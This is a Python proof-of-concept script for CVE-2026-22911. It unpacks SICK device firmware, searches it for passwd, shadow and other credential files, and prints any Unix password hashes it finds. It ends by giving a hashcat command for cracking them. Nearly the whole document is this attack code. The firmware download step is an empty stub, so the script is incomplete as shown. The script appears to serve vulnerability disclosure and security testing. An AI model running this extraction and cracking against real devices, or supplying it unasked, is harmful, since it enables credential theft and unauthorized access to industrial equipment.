CVE-2026-22911

#!/usr/bin/env python3 """ CVE-2026-22911 PoC - SICK Device Firmware Password Hash Extraction This PoC demonstrates how to extract password hashes from SICK device firmware. Note: For authorized security testing only. """ import os import sys import subprocess import re import zipfile import tarfile def download_firmware(firmware_url, output_path): """Download firmware update file""" print(f"[*] Downloading firmware from {firmware_url}") # wget/curl command would be used here pass def extract_firmware(firmware_path, extract_dir): """Extract firmware archive""" print(f"[*] Extracting firmware: {firmware_path}") if firmware_path.endswith('.zip'): with zipfile.ZipFile(firmware_path, 'r') as zip_ref: zip_ref.extractall(extract_dir) elif firmware_path.endswith(('.tar', '.tar.gz', '.tgz')): with tarfile.open(firmware_path, 'r:*') as tar_ref: tar_ref.extractall(extract_dir) else: # Try binwalk for compressed firmware subprocess.run(['binwalk', '-e', firmware_path, '-C', extract_dir]) def find_password_hashes(extract_dir): """Search for password hash files in extracted firmware""" print(f"[*] Searching for password hashes in {extract_dir}") hash_files = [] hash_patterns = [ r'root:.*:\d{10}:', # /etc/passwd format r'\$[1-6]\$.{8,16}\$.{22,86}', # Unix shadow hash r'[a-f0-9]{32}', # MD5 hash r'[a-f0-9]{40}', # SHA1 hash ] for root, dirs, files in os.walk(extract_dir): for file in files: filepath = os.path.join(root, file) if file in ['passwd', 'shadow', 'passwd.db', 'shadow.db', 'user.db', 'creds.dat']: print(f"[+] Found credential file: {filepath}") hash_files.append(filepath) return hash_files def extract_hashes_from_file(filepath): """Extract and display password hashes""" print(f"[*] Analyzing {filepath}") with open(filepath, 'r', errors='ignore') as f: content = f.read() # Extract Unix password hashes unix_hashes = re.findall(r'(\w+:\$[1-6]\$[^:]+)', content) if unix_hashes: print(f"[+] Found Unix password hashes:") for h in unix_hashes: print(f" {h}") return unix_hashes def main(): print("=" * 60) print("CVE-2026-22911 PoC - SICK Firmware Hash Extraction") print("=" * 60) # Step 1: Download firmware firmware_url = "https://www.sick.com/firmware/SICK_device_firmware.zip" firmware_path = "/tmp/SICK_firmware.zip" extract_dir = "/tmp/firmware_extracted" os.makedirs(extract_dir, exist_ok=True) # Step 2: Extract firmware extract_firmware(firmware_path, extract_dir) # Step 3: Find password hash files hash_files = find_password_hashes(extract_dir) # Step 4: Extract hashes all_hashes = [] for hf in hash_files: hashes = extract_hashes_from_file(hf) all_hashes.extend(hashes) if all_hashes: print(f"\n[!] Successfully extracted {len(all_hashes)} password hash(es)") print("[*] Use hashcat/john to crack: hashcat -m 1800 hashes.txt wordlist.txt") else: print("[!] No password hashes found") if __name__ == "__main__": main()

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